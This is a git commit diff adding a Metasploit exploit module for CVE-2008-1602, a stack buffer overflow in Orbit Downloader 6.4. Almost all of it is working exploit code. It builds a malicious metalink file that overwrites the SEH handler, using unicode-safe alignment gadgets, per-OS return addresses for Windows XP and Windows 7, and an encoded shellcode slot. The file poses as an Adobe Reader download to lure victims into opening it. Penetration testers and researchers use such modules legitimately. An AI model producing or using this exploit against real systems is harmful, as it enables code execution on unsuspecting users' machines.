Merge branch 'CVE-2008-1602_orbit_download_failed_bof' of https://github.com/juanvazquez/metasploit-framework

modules/exploits/windows/fileformat/orbit_download_failed_bof.rb

@@ -0,0 +1,125 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Orbit Downloader URL Unicode Conversion Overflow',
+			'Description'    => %q{
+					This module exploits a stack-based buffer overflow in Orbit Downloader.
+				The vulnerability is due to Orbit converting an URL ascii string to unicode
+				in a insecure way with MultiByteToWideChar.
+				The vulnerability is exploited with a specially crafted metalink file that
+				should be opened with Orbit through the "File->Add Metalink..." option.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Diego Juarez', # Vulnerability discovery
+					'juan vazquez', # Metasploit module
+				],
+			'Version'        => '$ $',
+			'References'     =>
+				[
+					[ 'BID', '28541' ],
+					[ 'OSVDB', '44036' ],
+					[ 'CVE', '2008-1602' ],
+					[ 'URL', 'http://www.coresecurity.com/content/orbit-downloader' ],
+				],
+			'Payload'        =>
+				{
+					'Space'       => 2000,
+					'EncoderType'	=> Msf::Encoder::Type::AlphanumUnicodeMixed,
+					'EncoderOptions' => { 'BufferRegister' => 'EAX' },
+					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x26\x3c",
+					'DisableNops' => true,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Orbit Downloader 6.4 on Windows XP SP3',
+						{
+							'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe
+							'Nop' => 0x46, # 004600 => add [esi+0x0],al
+							'AddEax' => "\x05\x15\x11", # add eax,0x11001500
+							'Offset' => 4
+						}
+					],
+					[ 'Orbit Downloader 6.4 on Windows 7',
+						{
+							'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe
+							'Nop' => 0x46, # 004600 => add [esi+0x0],al
+							'AddEax' => "\x05\x16\x11", # add eax,0x11001600
+							'Offset' => 120
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Apr 03 2008',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 'The file name.',  'msf.metalink']),
+			], self.class)
+	end
+
+	def exploit
+
+		sploit = rand_text_alpha(4096 - "http://".length)
+		sploit << "\xff" * 2 # EIP =>  Access Violation
+		sploit << rand_text_alpha(120) # padding
+		sploit << "\x61\x62" # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)
+		sploit << [target.ret].pack("v") # seh # ppr
+		sploit << target['Nop']
+		sploit << target['AddEax'] # eax align is os dependant
+		sploit << target['Nop']
+		sploit << "\x2d\x11\x11" # sub eax,0x11001100
+		sploit << target['Nop']
+		sploit << "\x50" # push eax
+		sploit << target['Nop']
+		sploit << "\xc3" # ret
+		sploit << rand_text_alpha(target['Offset']) # align shellcode to eax pointer
+		sploit << payload.encoded
+
+		metalink = %Q|
+<?xml version="1.0" encoding="utf-8"?>
+<metalink version="3.0" generator="Metalink Generator v1.00.0034" xmlns="http://www.metalinker.org/">
+	<publisher>
+		<name>Adobe</name>
+		<url>http://www.adobe.com/</url>
+	</publisher>
+	<description>Adobe Acrobat Reader</description>
+	<files>
+		<file name="AdbeRdr80_en_US.exe">
+			<version>8.0</version>
+			<language>en-US</language>
+			<os>Windows-x86</os>
+			<verification>
+				<hash type="md5">0ab5ce309f313ed028824251c798b35c</hash>
+			</verification>
+			<resources>
+				<url type="http" preference="100">http://#{sploit}.com/pub/adobe/reader/win/8.x/8.0/enu/AdbeRdr80_en_US.exe</url>
+			</resources>
+		</file>
+	</files>
+</metalink>
+|
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		file_create(metalink)
+
+	end
+
+end